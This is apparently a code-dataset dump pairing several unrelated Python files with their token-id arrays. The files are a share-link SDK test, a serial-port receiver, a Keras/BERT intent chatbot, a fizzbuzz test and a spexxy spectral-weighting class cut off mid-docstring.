param.share._classname = 'ShareConfig' # pylint: disable=protected-access
param.share.accessMode = access_mode
param.share.protectionLevel = 'publicLink'
param.share.expiration = (datetime.date.today() + datetime.timedelta(days=expire_in)).strftime('%Y-%m-%d')
param.share.invitee = Object()
param.share.invitee._classname = 'Collaborator' # pylint: disable=protected-access
param.share.invitee.type = 'external'
return param
| [
1,
1053,
12865,
13,
3166,
443,
27958,
1053,
11187,
13,
13,
3166,
274,
357,
294,
8181,
29889,
3221,
29889,
18605,
1053,
3497,
6638,
6818,
13,
3166,
274,
357,
294,
8181,
29889,
9435,
1053,
4669,
13,
3166,
6987,
29889,
329,
1053,
2967,
29918,
3221,
29918,
9916,
13,
13,
13,
1990,
7399,
9203,
13779,
10547,
19858,
6595,
29898,
3188,
29918,
3221,
29918,
9916,
29889,
5160,
9203,
13779,
3057,
1125,
13,
13,
1678,
822,
731,
3373,
29898,
1311,
1125,
13,
4706,
2428,
2141,
842,
3373,
580,
13,
4706,
1583,
3032,
2084,
353,
525,
3421,
12745,
29914,
20128,
29915,
13,
4706,
1583,
3032,
3597,
29918,
2324,
353,
525,
991,
597,
312,
29875,
29889,
312,
1572,
29889,
510,
29914,
11569,
24182,
13401,
13653,
29922,
29881,
29946,
2585,
29906,
29890,
29953,
29900,
29945,
29946,
29890,
29955,
29872,
29946,
29946,
29955,
29872,
29900,
29955,
29881,
29987,
11671,
29922,
29900,
29915,
13,
13,
1678,
822,
1243,
29918,
3258,
29918,
3597,
29918,
2324,
29918,
4381,
29879,
29918,
5085,
29898,
1311,
1125,
13,
4706,
6222,
29918,
5327,
353,
1583,
3032,
3258,
29918,
3597,
29918,
2324,
29918,
5327,
580,
13,
4706,
1583,
3032,
2344,
29918,
9916,
29898,
7978,
29918,
5327,
29922,
7978,
29918,
5327,
29897,
13,
4706,
970,
29918,
2324,
353,
1583,
3032,
9916,
29889,
5325,
29889,
11256,
2324,
29898,
1311,
3032,
2084,
29897,
13,
4706,
1583,
3032,
9916,
29889,
7978,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
877,
742,
525,
3258,
2713,
598,
742,
11187,
29889,
2190,
29979,
29897,
13,
4706,
3806,
29918,
3207,
353,
1583,
3032,
3258,
29918,
3597,
29918,
2324,
29918,
3207,
29898,
2283,
6638,
6818,
29889,
1672,
29892,
29871,
29941,
29900,
29897,
13,
4706,
3935,
29918,
3207,
353,
1583,
3032,
9916,
29889,
7978,
29889,
4804,
29918,
5085,
29961,
29900,
3816,
29906,
29962,
13,
4706,
1583,
3032,
9294,
29918,
11745,
29918,
12650,
29898,
19304,
29918,
3207,
29892,
3806,
29918,
3207,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
3597,
29918,
2324,
29892,
1583,
3032,
3597,
29918,
2324,
29897,
13,
13,
1678,
822,
903,
3258,
29918,
3597,
29918,
2324,
29918,
5327,
29898,
1311,
1125,
13,
4706,
2933,
353,
4669,
580,
13,
4706,
2933,
29889,
3597,
6595,
353,
1583,
3032,
3597,
29918,
2324,
13,
4706,
736,
2933,
13,
13,
1678,
822,
903,
3258,
29918,
3597,
29918,
2324,
29918,
3207,
29898,
1311,
29892,
2130,
29918,
8513,
29892,
1518,
533,
29918,
262,
1125,
13,
4706,
1828,
353,
4669,
580,
13,
4706,
1828,
3032,
1990,
978,
353,
525,
4391,
2713,
598,
4736,
29915,
29871,
396,
282,
2904,
524,
29901,
11262,
29922,
24681,
29899,
5943,
13,
4706,
1828,
29889,
2271,
353,
1583,
3032,
9916,
29889,
9274,
29918,
21594,
29918,
3188,
29918,
2084,
718,
8207,
29915,
718,
1583,
3032,
2084,
13,
4706,
1828,
29889,
13653,
353,
4669,
580,
13,
4706,
1828,
29889,
13653,
3032,
1990,
978,
353,
525,
2713,
598,
3991,
29915,
29871,
396,
282,
2904,
524,
29901,
11262,
29922,
24681,
29899,
5943,
13,
4706,
1828,
29889,
13653,
29889,
5943,
6818,
353,
2130,
29918,
8513,
13,
4706,
1828,
29889,
13653,
29889,
14676,
428,
10108,
353,
525,
3597,
6595,
29915,
13,
4706,
1828,
29889,
13653,
29889,
4548,
12232,
353,
313,
12673,
29889,
1256,
29889,
27765,
580,
718,
12865,
29889,
9346,
287,
2554,
29898,
16700,
29922,
4548,
533,
29918,
262,
8106,
710,
615,
603,
877,
29995,
29979,
19222,
29885,
19222,
29881,
1495,
13,
4706,
1828,
29889,
13653,
29889,
11569,
568,
29872,
353,
4669,
580,
13,
4706,
1828,
29889,
13653,
29889,
11569,
568,
29872,
3032,
1990,
978,
353,
525,
28377,
3717,
1061,
29915,
29871,
396,
282,
2904,
524,
29901,
11262,
29922,
24681,
29899,
5943,
13,
4706,
1828,
29889,
13653,
29889,
11569,
568,
29872,
29889,
1853,
353,
525,
23176,
29915,
13,
4706,
736,
1828,
13,
2
] |
tests/io/threading/serial/receiver.py | ethanjli/phyllo-python | 0 | 149910 | <filename>tests/io/threading/serial/receiver.py
"""Print all data received on the serial port."""
# Builtins
import logging
# Packages
from phylline.links.events import LinkException
from phyllo.io.cli.args.args import parse_args
from phyllo.io.cli.args.protocol import (
args_application_stack, args_transport_logical_substack, group_protocol_stack
)
from phyllo.io.polling.serial import connect_serial_retry
from phyllo.io.threading.serial import ThreadedSerialAdapter
from phyllo.io.threading.serial import make_stack as make_threading_stack
from phyllo.protocol.stacks import make_preset_stack
from phyllo.util.logging import config_logging
from tests.io.polling.serial.receiver import run_once, run_read
config_logging()
logger = logging.getLogger(__name__)
logger.addHandler(logging.NullHandler())
def receive_blocking(stack):
"""Repeatedly receive data on the stack."""
while stack.has_receive.acquire():
data = stack.receive()
if isinstance(data, LinkException):
logger.error('Unexpected error: {}'.format(data))
else:
yield data
if stack.receiver_disconnected:
raise ConnectionResetError
def main(transport_logical_preset, application_preset):
"""List the ports."""
connection = connect_serial_retry(baudrate=115200, timeout=1.0)
if connection is None:
logger.fatal('Failed to establish serial connection!')
return
protocol = make_preset_stack(
transport_logical=transport_logical_preset, application=application_preset
)
stack = ThreadedSerialAdapter(
connection, make_threading_stack(protocol_stack=protocol)
)
logger.info(stack)
run_once(run_read, stack, receive_blocking)
logger.info('Quitting!')
if __name__ == '__main__':
args = parse_args(
grouped_args={
group_protocol_stack: (
args_transport_logical_substack, args_application_stack
)
},
description='Print all data received on the serial port.'
)
main(args.logical, args.application)
| [
1,
529,
9507,
29958,
21150,
29914,
601,
29914,
7097,
292,
29914,
15550,
29914,
13556,
2147,
29889,
2272,
13,
15945,
29908,
11816,
599,
848,
4520,
373,
278,
7797,
2011,
1213,
15945,
13,
13,
29937,
5373,
2782,
1144,
13,
13,
5215,
12183,
13,
13,
29937,
18744,
1179,
13,
13,
3166,
1374,
15114,
457,
29889,
4965,
29889,
13604,
1053,
6645,
2451,
13,
13,
3166,
1374,
2904,
417,
29889,
601,
29889,
11303,
29889,
5085,
29889,
5085,
1053,
6088,
29918,
5085,
13,
3166,
1374,
2904,
417,
29889,
601,
29889,
11303,
29889,
5085,
29889,
20464,
1053,
313,
13,
1678,
6389,
29918,
6214,
29918,
1429,
29892,
6389,
29918,
27882,
29918,
1188,
936,
29918,
1491,
1429,
29892,
2318,
29918,
20464,
29918,
1429,
13,
29897,
13,
3166,
1374,
2904,
417,
29889,
601,
29889,
3733,
1847,
29889,
15550,
1053,
4511,
29918,
15550,
29918,
276,
2202,
13,
3166,
1374,
2904,
417,
29889,
601,
29889,
7097,
292,
29889,
15550,
1053,
10480,
287,
9125,
6168,
13,
3166,
1374,
2904,
417,
29889,
601,
29889,
7097,
292,
29889,
15550,
1053,
1207,
29918,
1429,
408,
1207,
29918,
7097,
292,
29918,
1429,
13,
3166,
1374,
2904,
417,
29889,
20464,
29889,
1429,
29879,
1053,
1207,
29918,
4569,
300,
29918,
1429,
13,
3166,
1374,
2904,
417,
29889,
4422,
29889,
21027,
1053,
2295,
29918,
21027,
13,
13,
3166,
6987,
29889,
601,
29889,
3733,
1847,
29889,
15550,
29889,
13556,
2147,
1053,
1065,
29918,
10646,
29892,
1065,
29918,
949,
13,
13,
13,
2917,
29918,
21027,
580,
13,
21707,
353,
12183,
29889,
657,
16363,
22168,
978,
1649,
29897,
13,
21707,
29889,
1202,
4598,
29898,
21027,
29889,
7327,
4598,
3101,
13,
13,
13,
1753,
7150,
29918,
1271,
292,
29898,
1429,
1125,
13,
1678,
9995,
1123,
412,
630,
368,
7150,
848,
373,
278,
5096,
1213,
15945,
13,
1678,
1550,
5096,
29889,
5349,
29918,
13556,
573,
29889,
562,
1548,
7295,
13,
4706,
848,
353,
5096,
29889,
13556,
573,
580,
13,
4706,
565,
338,
8758,
29898,
1272,
29892,
6645,
2451,
1125,
13,
9651,
17927,
29889,
2704,
877,
29965,
13996,
6021,
1059,
29901,
6571,
4286,
4830,
29898,
1272,
876,
13,
4706,
1683,
29901,
13,
9651,
7709,
848,
13,
1678,
565,
5096,
29889,
13556,
2147,
29918,
2218,
18045,
29901,
13,
4706,
12020,
15160,
27175,
2392,
13,
13,
13,
1753,
1667,
29898,
27882,
29918,
1188,
936,
29918,
4569,
300,
29892,
2280,
29918,
4569,
300,
1125,
13,
1678,
9995,
1293,
278,
16169,
1213,
15945,
13,
1678,
3957,
353,
4511,
29918,
15550,
29918,
276,
2202,
29898,
2291,
566,
10492,
29922,
29896,
29896,
29945,
29906,
29900,
29900,
29892,
11815,
29922,
29896,
29889,
29900,
29897,
13,
1678,
565,
3957,
338,
6213,
29901,
13,
4706,
17927,
29889,
29888,
2075,
877,
17776,
304,
10127,
7797,
3957,
29991,
1495,
13,
4706,
736,
13,
13,
1678,
9608,
353,
1207,
29918,
4569,
300,
29918,
1429,
29898,
13,
4706,
8608,
29918,
1188,
936,
29922,
27882,
29918,
1188,
936,
29918,
4569,
300,
29892,
2280,
29922,
6214,
29918,
4569,
300,
13,
1678,
1723,
13,
1678,
5096,
353,
10480,
287,
9125,
6168,
29898,
13,
4706,
3957,
29892,
1207,
29918,
7097,
292,
29918,
1429,
29898,
20464,
29918,
1429,
29922,
20464,
29897,
13,
1678,
1723,
13,
1678,
17927,
29889,
3888,
29898,
1429,
29897,
13,
13,
1678,
1065,
29918,
10646,
29898,
3389,
29918,
949,
29892,
5096,
29892,
7150,
29918,
1271,
292,
29897,
13,
1678,
17927,
29889,
3888,
877,
2182,
5367,
29991,
1495,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
6389,
353,
6088,
29918,
5085,
29898,
13,
4706,
27831,
29918,
5085,
3790,
13,
9651,
2318,
29918,
20464,
29918,
1429,
29901,
313,
13,
18884,
6389,
29918,
27882,
29918,
1188,
936,
29918,
1491,
1429,
29892,
6389,
29918,
6214,
29918,
1429,
13,
9651,
1723,
13,
4706,
2981,
13,
4706,
6139,
2433,
11816,
599,
848,
4520,
373,
278,
7797,
2011,
6169,
13,
1678,
1723,
13,
1678,
1667,
29898,
5085,
29889,
1188,
936,
29892,
6389,
29889,
6214,
29897,
13,
2
] |
dedsecuritybot.py | dedsecurity/DedSecuritySearch | 0 | 34351 | <gh_stars>0
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import tensorflow as tf
import numpy as np
import pandas as pd
import json
import nltk
from tensorflow.keras.preprocessing.text import Tokenizer
from tensorflow.keras.layers import Input, Embedding, LSTM , Dense,GlobalMaxPooling1D,Flatten
from tensorflow.keras.preprocessing.sequence import pad_sequences
from transformers import BertModel, BertTokenizer
from tensorflow.keras.models import Model
from sklearn.preprocessing import LabelEncoder
import matplotlib.pyplot as plt
import string
import torch
import random
with open('./links.json') as content:
datali = json.load(content)
tags = []
inputs = []
responses={}
for intent in datali['intents']:
responses[intent['tag']]=intent['responses']
for lines in intent['input']:
inputs.append(lines)
tags.append(intent['tag'])
data = pd.DataFrame({"inputs":inputs,
"tags":tags})
data
data = data.sample(frac=1)
data['inputs'] = data['inputs'].apply(lambda wrd:[ltrs.lower() for ltrs in wrd if ltrs not in string.punctuation])
data['inputs'] = data['inputs'].apply(lambda wrd: ''.join(wrd))
data
tokenizer = Tokenizer(num_words=2000)
tokenizer.fit_on_texts(data['inputs'])
train = tokenizer.texts_to_sequences(data['inputs'])
x_train = pad_sequences(train)
le = LabelEncoder()
y_train = le.fit_transform(data['tags'])
input_shape = x_train.shape[1]
print(input_shape)
vocabulary = len(tokenizer.word_index)
print("number of unique words : ",vocabulary)
output_length = le.classes_.shape[0]
print("output length: ",output_length)
i = Input(shape=(input_shape,))
x = Embedding(vocabulary+1,10)(i)
x = LSTM(10,return_sequences=True)(x)
x = Flatten()(x)
x = Dense(output_length,activation="softmax")(x)
model = Model(i,x)
model.compile(loss="sparse_categorical_crossentropy",optimizer='adam',metrics=['accuracy'])
train = model.fit(x_train,y_train,epochs=300)
model1 = BertModel.from_pretrained('bert-base-uncased')
tokenizer1 = BertTokenizer.from_pretrained('bert-base-uncased')
while True:
import random
print("\033[32mDed Security Search \033[m")
texts_p = []
prediction_input = input('\033[36mSearch: \033[m')
tokens = tokenizer1.tokenize(prediction_input)
tokens = ['[CLS]'] + tokens + ['[SEP]']
tokens = tokens + ['[PAD]'] + ['[PAD]']
attention_mask = [1 if i!= '[PAD]' else 0 for i in tokens]
token_ids = tokenizer1.convert_tokens_to_ids(tokens)
token_ids = torch.tensor(token_ids).unsqueeze(0)
attention_mask = torch.tensor(attention_mask).unsqueeze(0)
hidden_rep, cls_head = model1(token_ids, attention_mask = attention_mask)
prediction_input = [letters.lower() for letters in prediction_input if letters not in string.punctuation]
prediction_input = ''.join(prediction_input)
texts_p.append(prediction_input)
prediction_input = tokenizer.texts_to_sequences(texts_p)
prediction_input = np.array(prediction_input).reshape(-1)
prediction_input = pad_sequences([prediction_input],input_shape)
output = model.predict(prediction_input)
output = output.argmax()
response_tag = le.inverse_transform([output])[0]
print(random.choice(responses[response_tag])) | [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
29937,
14708,
4855,
29914,
2109,
29914,
4691,
29941,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
13,
5215,
26110,
408,
15886,
13,
5215,
12655,
408,
7442,
13,
5215,
11701,
408,
10518,
13,
5215,
4390,
13,
5215,
302,
1896,
29895,
13,
3166,
26110,
29889,
3946,
294,
29889,
1457,
19170,
29889,
726,
1053,
25159,
3950,
13,
3166,
26110,
29889,
3946,
294,
29889,
29277,
1053,
10567,
29892,
2812,
2580,
8497,
29892,
365,
1254,
29924,
1919,
360,
1947,
29892,
12756,
7976,
11426,
292,
29896,
29928,
29892,
29943,
5066,
841,
13,
3166,
26110,
29889,
3946,
294,
29889,
1457,
19170,
29889,
16506,
1053,
17132,
29918,
6831,
2063,
13,
3166,
4327,
414,
1053,
16662,
3195,
29892,
16662,
6066,
3950,
13,
3166,
26110,
29889,
3946,
294,
29889,
9794,
1053,
8125,
13,
3166,
2071,
19668,
29889,
1457,
19170,
1053,
15796,
8566,
6119,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
5215,
1347,
13,
5215,
4842,
305,
13,
5215,
4036,
13,
13,
2541,
1722,
877,
6904,
4965,
29889,
3126,
1495,
408,
2793,
29901,
13,
29871,
1418,
2606,
353,
4390,
29889,
1359,
29898,
3051,
29897,
13,
13,
11338,
353,
5159,
13,
2080,
29879,
353,
5159,
13,
26679,
267,
3790,
29913,
13,
1454,
7609,
297,
1418,
2606,
1839,
524,
1237,
2033,
29901,
13,
29871,
20890,
29961,
14029,
1839,
4039,
2033,
13192,
14029,
1839,
26679,
267,
2033,
13,
29871,
363,
3454,
297,
7609,
1839,
2080,
2033,
29901,
13,
1678,
10970,
29889,
4397,
29898,
9012,
29897,
13,
1678,
8282,
29889,
4397,
29898,
14029,
1839,
4039,
11287,
13,
13,
1272,
353,
10518,
29889,
17271,
3319,
29908,
2080,
29879,
1115,
2080,
29879,
29892,
13,
462,
268,
376,
11338,
1115,
11338,
1800,
13,
13,
1272,
13,
1272,
353,
848,
29889,
11249,
29898,
1154,
29922,
29896,
29897,
13,
13,
1272,
1839,
2080,
29879,
2033,
353,
848,
1839,
2080,
29879,
13359,
7302,
29898,
2892,
2358,
29881,
10834,
29880,
509,
29879,
29889,
13609,
580,
363,
301,
509,
29879,
297,
2358,
29881,
565,
301,
509,
29879,
451,
297,
1347,
29889,
29886,
18049,
29884,
362,
2314,
13,
1272,
1839,
2080,
29879,
2033,
353,
848,
1839,
2080,
29879,
13359,
7302,
29898,
2892,
2358,
29881,
29901,
525,
4286,
7122,
29898,
29893,
5499,
876,
13,
1272,
13,
13,
6979,
3950,
353,
25159,
3950,
29898,
1949,
29918,
9303,
29922,
29906,
29900,
29900,
29900,
29897,
13,
6979,
3950,
29889,
9202,
29918,
265,
29918,
726,
29879,
29898,
1272,
1839,
2080,
29879,
11287,
13,
14968,
353,
5993,
3950,
29889,
726,
29879,
29918,
517,
29918,
6831,
2063,
29898,
1272,
1839,
2080,
29879,
11287,
13,
13,
29916,
29918,
14968,
353,
17132,
29918,
6831,
2063,
29898,
14968,
29897,
13,
13,
280,
353,
15796,
8566,
6119,
580,
13,
29891,
29918,
14968,
353,
454,
29889,
9202,
29918,
9067,
29898,
1272,
1839,
11338,
11287,
13,
13,
2080,
29918,
12181,
353,
921,
29918,
14968,
29889,
12181,
29961,
29896,
29962,
13,
2158,
29898,
2080,
29918,
12181,
29897,
13,
13,
29894,
542,
370,
352,
653,
353,
7431,
29898,
6979,
3950,
29889,
1742,
29918,
2248,
29897,
13,
2158,
703,
4537,
310,
5412,
3838,
584,
9162,
29894,
542,
370,
352,
653,
29897,
13,
4905,
29918,
2848,
353,
454,
29889,
13203,
5396,
12181,
29961,
29900,
29962,
13,
2158,
703,
4905,
3309,
29901,
9162,
4905,
29918,
2848,
29897,
13,
13,
29875,
353,
10567,
29898,
12181,
7607,
2080,
29918,
12181,
29892,
876,
13,
29916,
353,
2812,
2580,
8497,
29898,
29894,
542,
370,
352,
653,
29974,
29896,
29892,
29896,
29900,
5033,
29875,
29897,
13,
29916,
353,
365,
1254,
29924,
29898,
29896,
29900,
29892,
2457,
29918,
6831,
2063,
29922,
5574,
5033,
29916,
29897,
13,
29916,
353,
2379,
8606,
580,
29898,
29916,
29897,
13,
29916,
353,
360,
1947,
29898,
4905,
29918,
2848,
29892,
11236,
362,
543,
2695,
3317,
1159,
29898,
29916,
29897,
13,
4299,
353,
8125,
29898,
29875,
29892,
29916,
29897,
13,
13,
4299,
29889,
12198,
29898,
6758,
543,
29879,
5510,
29918,
29883,
20440,
936,
29918,
19128,
296,
14441,
613,
20640,
3950,
2433,
328,
314,
742,
2527,
10817,
29922,
1839,
562,
2764,
4135,
11287,
13,
13,
14968,
353,
1904,
29889,
9202,
29898,
29916,
29918,
14968,
29892,
29891,
29918,
14968,
29892,
1022,
2878,
29879,
29922,
29941,
29900,
29900,
29897,
13,
13,
4299,
29896,
353,
16662,
3195,
29889,
3166,
29918,
1457,
3018,
1312,
877,
2151,
29899,
3188,
29899,
4661,
1463,
1495,
13,
6979,
3950,
29896,
353,
16662,
6066,
3950,
29889,
3166,
29918,
1457,
3018,
1312,
877,
2151,
29899,
3188,
29899,
4661,
1463,
1495,
13,
13,
8000,
5852,
29901,
13,
13,
29871,
1053,
4036,
13,
13,
29871,
1596,
14182,
29900,
29941,
29941,
29961,
29941,
29906,
29885,
29928,
287,
14223,
11856,
320,
29900,
29941,
29941,
29961,
29885,
1159,
13,
29871,
26442,
29918,
29886,
353,
5159,
13,
29871,
18988,
29918,
2080,
353,
1881,
28909,
29900,
29941,
29941,
29961,
29941,
29953,
29885,
7974,
29901,
320,
29900,
29941,
29941,
29961,
29885,
1495,
13,
13,
29871,
18897,
353,
5993,
3950,
29896,
29889,
6979,
675,
29898,
11965,
2463,
29918,
2080,
29897,
13,
29871,
18897,
353,
6024,
29961,
6154,
29903,
29962,
2033,
718,
18897,
718,
6024,
29961,
1660,
29925,
29962,
2033,
13,
29871,
18897,
353,
18897,
718,
6024,
29961,
29925,
3035,
29962,
2033,
718,
6024,
29961,
29925,
3035,
29962,
2033,
13,
29871,
8570,
29918,
13168,
353,
518,
29896,
565,
474,
19216,
525,
29961,
29925,
3035,
29962,
29915,
1683,
29871,
29900,
363,
474,
297,
18897,
29962,
13,
29871,
5993,
29918,
4841,
353,
5993,
3950,
29896,
29889,
13441,
29918,
517,
12360,
29918,
517,
29918,
4841,
29898,
517,
12360,
29897,
13,
29871,
5993,
29918,
4841,
353,
4842,
305,
29889,
20158,
29898,
6979,
29918,
4841,
467,
6948,
802,
29872,
911,
29898,
29900,
29897,
13,
29871,
8570,
29918,
13168,
353,
4842,
305,
29889,
20158,
29898,
1131,
2509,
29918,
13168,
467,
6948,
802,
29872,
911,
29898,
29900,
29897,
13,
29871,
7934,
29918,
3445,
29892,
1067,
29879,
29918,
2813,
353,
1904,
29896,
29898,
6979,
29918,
4841,
29892,
8570,
29918,
13168,
353,
8570,
29918,
13168,
29897,
13,
13,
29871,
18988,
29918,
2080,
353,
518,
1026,
2153,
29889,
13609,
580,
363,
8721,
297,
18988,
29918,
2080,
565,
8721,
451,
297,
1347,
29889,
29886,
18049,
29884,
362,
29962,
13,
29871,
18988,
29918,
2080,
353,
525,
4286,
7122,
29898,
11965,
2463,
29918,
2080,
29897,
13,
29871,
26442,
29918,
29886,
29889,
4397,
29898,
11965,
2463,
29918,
2080,
29897,
13,
259,
13,
29871,
18988,
29918,
2080,
353,
5993,
3950,
29889,
726,
29879,
29918,
517,
29918,
6831,
2063,
29898,
726,
29879,
29918,
29886,
29897,
13,
29871,
18988,
29918,
2080,
353,
7442,
29889,
2378,
29898,
11965,
2463,
29918,
2080,
467,
690,
14443,
6278,
29896,
29897,
13,
29871,
18988,
29918,
2080,
353,
17132,
29918,
6831,
2063,
4197,
11965,
2463,
29918,
2080,
1402,
2080,
29918,
12181,
29897,
13,
259,
13,
29871,
1962,
353,
1904,
29889,
27711,
29898,
11965,
2463,
29918,
2080,
29897,
13,
29871,
1962,
353,
1962,
29889,
1191,
3317,
580,
13,
259,
13,
29871,
2933,
29918,
4039,
353,
454,
29889,
262,
3901,
29918,
9067,
4197,
4905,
2314,
29961,
29900,
29962,
13,
29871,
1596,
29898,
8172,
29889,
16957,
29898,
26679,
267,
29961,
5327,
29918,
4039,
12622,
2
] |
projects/fizzbuzz/python/test.py | jthompson22/methods | 0 | 106304 | <filename>projects/fizzbuzz/python/test.py
import pytest
from fizz_buzz import fizz_buzz
def test_fizzbuzz():
fizzbuzz_string5 = ' 1\n2\nfizz\n4\nbuzz\n'
fizzbuzz_string10 = ' 1\n2\nfizz\n4\nbuzz\nfizz\nbazz\n8\nfizz\nbuzz\n'
fizzbuzz_string21 =' 1\n2\nfizz\n4\nbuzz\nfizz\nbazz\n8\nfizz\nbuzz\n11\nfizz\n13\nbazz\nfizzbuzz\n16\n17\nfizz\n19\nbuzz\nfizzbazz\n'
assert fizz_buzz(10) == fizzbuzz_string10
assert fizz_buzz(5) == fizzbuzz_string5
assert fizz_buzz(21) == fizzbuzz_string21
| [
1,
529,
9507,
29958,
16418,
29914,
29888,
4981,
2423,
5617,
29914,
4691,
29914,
1688,
29889,
2272,
13,
5215,
11451,
1688,
13,
13,
3166,
285,
4981,
29918,
2423,
5617,
1053,
285,
4981,
29918,
2423,
5617,
13,
13,
13,
1753,
1243,
29918,
29888,
4981,
2423,
5617,
7295,
13,
1678,
285,
4981,
2423,
5617,
29918,
1807,
29945,
353,
525,
29871,
29896,
29905,
29876,
29906,
29905,
29876,
29888,
4981,
29905,
29876,
29946,
29905,
29876,
2423,
5617,
29905,
29876,
29915,
13,
1678,
285,
4981,
2423,
5617,
29918,
1807,
29896,
29900,
353,
525,
29871,
29896,
29905,
29876,
29906,
29905,
29876,
29888,
4981,
29905,
29876,
29946,
29905,
29876,
2423,
5617,
29905,
29876,
29888,
4981,
29905,
9877,
7511,
29905,
29876,
29947,
29905,
29876,
29888,
4981,
29905,
29876,
2423,
5617,
29905,
29876,
29915,
13,
1678,
285,
4981,
2423,
5617,
29918,
1807,
29906,
29896,
353,
29915,
29871,
29896,
29905,
29876,
29906,
29905,
29876,
29888,
4981,
29905,
29876,
29946,
29905,
29876,
2423,
5617,
29905,
29876,
29888,
4981,
29905,
9877,
7511,
29905,
29876,
29947,
29905,
29876,
29888,
4981,
29905,
29876,
2423,
5617,
29905,
29876,
29896,
29896,
29905,
29876,
29888,
4981,
29905,
29876,
29896,
29941,
29905,
9877,
7511,
29905,
29876,
29888,
4981,
2423,
5617,
29905,
29876,
29896,
29953,
29905,
29876,
29896,
29955,
29905,
29876,
29888,
4981,
29905,
29876,
29896,
29929,
29905,
29876,
2423,
5617,
29905,
29876,
29888,
4981,
29890,
7511,
29905,
29876,
29915,
13,
13,
13,
1678,
4974,
285,
4981,
29918,
2423,
5617,
29898,
29896,
29900,
29897,
1275,
285,
4981,
2423,
5617,
29918,
1807,
29896,
29900,
13,
1678,
4974,
285,
4981,
29918,
2423,
5617,
29898,
29945,
29897,
1275,
285,
4981,
2423,
5617,
29918,
1807,
29945,
13,
1678,
4974,
285,
4981,
29918,
2423,
5617,
29898,
29906,
29896,
29897,
1275,
285,
4981,
2423,
5617,
29918,
1807,
29906,
29896,
13,
13,
13,
2
] |
spexxy/weight/fromgridnearest.py | thusser/spexxy | 4 | 39239 | <gh_stars>1-10
import os
import numpy as np
import pandas as pd
from typing import List, Union
from .weight import Weight
from ..data import Spectrum
class WeightFromGridNearest(Weight):
"""
This class loads the weights from a grid depending on the initial values of the fit parameters by choosing the
nearest neighbour in the grid. It returns an array containing the weights.
"""
def __init__(self, filename, initial: float = 0., max_line_depth: float = 0.5, center_weight: float = 1.,
max_step: int = 1, mask_lines: Union[bool, str, List] = True, max_change=(300, 0.3), *args, **kwargs):
"""
Initializes a new weight.
Args:
filename: Name of grid file.
initial: Initial value for the whole weight array.
max_line_depth: Central pixel for lines with larger line depth are masked out.
center_weight: Factor that increases the weight of the central pixel of each line.
max_step: In iteration steps <= max_step new weights are loaded from the grid.
mask_lines: List of absorption lines that are always masked out in their centers.
"""
Weight.__init__(self, *args, **kwargs)
if 'objects' in kwargs:
self.objects = kwargs['objects']
self._initial = initial
self._max_line_depth = max_line_depth
self._center_weight = center_weight
self._max_step = max_step
self._max_change = sorted(max_change, reverse=True)
if mask_lines:
if isinstance(mask_lines, bool):
self._mask_lines = 'default'
elif isinstance(mask_lines, list):
self._mask_lines = []
for line in mask_lines:
if len(line) == 2:
self._mask_lines.append(line + [-0.5, 6.5])
else:
self._mask_lines.append(line)
elif isinstance(mask_lines, str):
df = pd.read_csv(os.path.expandvars(mask_lines))
df.loc[df['logg_min'].isna(), 'logg_min'] = -0.5
df.loc[df['logg_max'].isna(), 'logg_max'] = 6.5
self._mask_lines = df.to_numpy()
else:
self._mask_lines = mask_lines
# expand filename
filename = os.path.expandvars(filename)
# get grid's root path
self._root = os.path.dirname(filename)
# load CSV
self._data = pd.read_csv(filename, index_col=False)
# get all parameters, by removing 'Filename' from list of columns
self._parameters = list(self._data.columns)
self._parameters.remove('Filename')
# we assume that all parameters are floats, so treat them as such
for name in self._parameters:
self._data[name] = self._data[name].apply(lambda x: float(x))
# get grid axes
self._axes = [np.array(sorted(self._data[p].unique())) for p in self._parameters]
# remove axes that contain only a single value
for i, p in enumerate(self._parameters):
if len(self._axes[i]) <= 1:
del self._axes[i]
self._parameters.remove(p)
self._data.set_index(keys=self._parameters, inplace=True)
# initialize step counter
self._step = 1
# values of the fit parameter from previous iteration step
self._previous_values = None
self._filename = None
# weights will be stored for next iterations
self._weights = None
self._neighbour = None
# save initial parameters
self._initial_values = None
self._logg = None
def __call__(self, spectrum: Spectrum, filename: str) -> np.ndarray:
"""
Creates and returns weight array.
Args:
spectrum: Spectrum to create weight for.
filename: Name of spectrum file.
Returns:
Array containing the weight for given spectrum.
"""
# save initial values
if self._initial_values is None:
self._initial_values = {}
for cmp in self.objects['init_iter'].values():
for param_name in cmp.param_names:
self._initial_values[param_name] = cmp[param_name]
if param_name == 'logg' and self._logg is None:
self._logg = cmp[param_name]
break
# load new weights if the fit parameters changed significantly
new_weights = False
if self._previous_values is not None:
for param in self._parameters:
if new_weights:
break
for cmp in self.objects['init_iter'].values():
for param_name in cmp.param_names:
if param.lower() != param_name.lower():
continue
if param.lower() == 'teff':
# did Teff change by more than 300K?
new_weights = abs(
self._previous_values[self._parameters.index(param)] - cmp[param_name]) > self._max_change[0]
else:
# did FeH, Alpha or logg change by more than 0.3 dex?
new_weights = abs(
self._previous_values[self._parameters.index(param)] - cmp[param_name]) > self._max_change[1]
# are current parameter values identical with initial values?
if self._step > 1:
tmp = []
for cmp in self.objects['init_iter'].values():
for param_name in cmp.param_names:
tmp.append(cmp[param_name] == self._initial_values[param_name])
break
# component is reset to initial values if the fit restarts with a damping factor, in that case the iteration
# step needs to be reset as well
if np.all(tmp):
self._step = 1
# load new weights if max_step has not been reached or fit parameters changed significantly
if (self._step <= self._max_step) or new_weights:
if new_weights:
self._step = 1
# get parameters from component
params = []
for param in self._parameters:
for cmp in self.objects['init_iter'].values():
for param_name in cmp.param_names:
if param.lower() != param_name.lower():
continue
params.append(cmp[param_name])
break
# save current parameters for next step
self._previous_values = params.copy()
# find nearest neighbour
self._neighbour = []
for i, p in enumerate(params):
self._neighbour.append(self._axes[i][np.argmin(np.abs(self._axes[i] - p))])
# save filename of weight table
self._filename = self._data.loc[tuple(self._neighbour)].Filename
# load weights
w = self._load_weights(spectrum)
# increase step counter
self._step += 1
return w
def _load_weights(self, spectrum: Spectrum):
"""
Load CSV file from grid and create weight array.
Args:
filename: Filename of CSV file that contains the weights.
spectrum: Spectrum to create the weight for.
Returns:
Weight array.
"""
